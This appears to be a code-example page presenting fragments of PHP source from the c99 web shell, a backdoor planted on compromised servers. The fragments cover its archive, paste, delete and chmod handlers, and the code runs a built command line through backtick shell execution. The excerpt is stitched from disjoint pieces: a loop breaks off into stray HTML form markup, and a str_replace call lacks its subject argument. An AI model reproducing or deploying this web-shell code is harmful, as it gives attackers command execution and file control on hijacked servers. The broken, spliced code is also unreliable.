Beispiel #1
0
         $cmdline .= " " . $v;
     }
     $ret = `{$cmdline}`;
     if (empty($ret)) {
         $arcerr .= "Can't call archivator!<br>";
     }
     $ret = str_replace("\r\n", "\n");
     $ret = explode("\n", $ret);
     if ($copy_unset) {
         foreach ($sess_data["copy"] as $k => $v) {
             unset($sess_data["copy"][$k]);
         }
     }
     foreach ($sess_data["cut"] as $k => $v) {
         if (in_array($v, $ret)) {
             fs_rmobj($v);
         }
         unset($sess_data["cut"][$k]);
     }
     c99_sess_put($sess_data);
     if (!empty($arcerr)) {
         echo "<b>Archivation errors:</b><br>" . $arcerr;
     }
     $act = "ls";
 } elseif ($actpastebuff) {
     $psterr = "";
     foreach ($sess_data["copy"] as $k => $v) {
         $to = $d . basename($v);
         if (!fs_copy_obj($v, $d)) {
             $psterr .= "Can't copy " . $v . " to " . $to . "!<br>";
         }
            ?>
"><input type="text" name="f" size="50" value="<?php 
            echo $dispd;
            ?>
">&nbsp;<input type=submit value="Go"></form></center>
		</td>
		
	 </tr>
     
 </table> <?php 
        }
        if ($act == "delete") {
            $delerr = "";
            foreach ($actbox as $v) {
                $result = FALSE;
                $result = fs_rmobj($v);
                if (!$result) {
                    $delerr .= "Can't delete " . htmlspecialchars($v) . "<br>";
                }
            }
            if (!empty($delerr)) {
                echo "<b>Deleting with errors:</b><br>" . $delerr;
            }
            $act = "ls";
        }
        if ($act == "chmod") {
            $mode = fileperms($d . $f);
            if (!$mode) {
                echo "<b>Change file-mode with error:</b> can't get current value.";
            } else {
                $form = TRUE;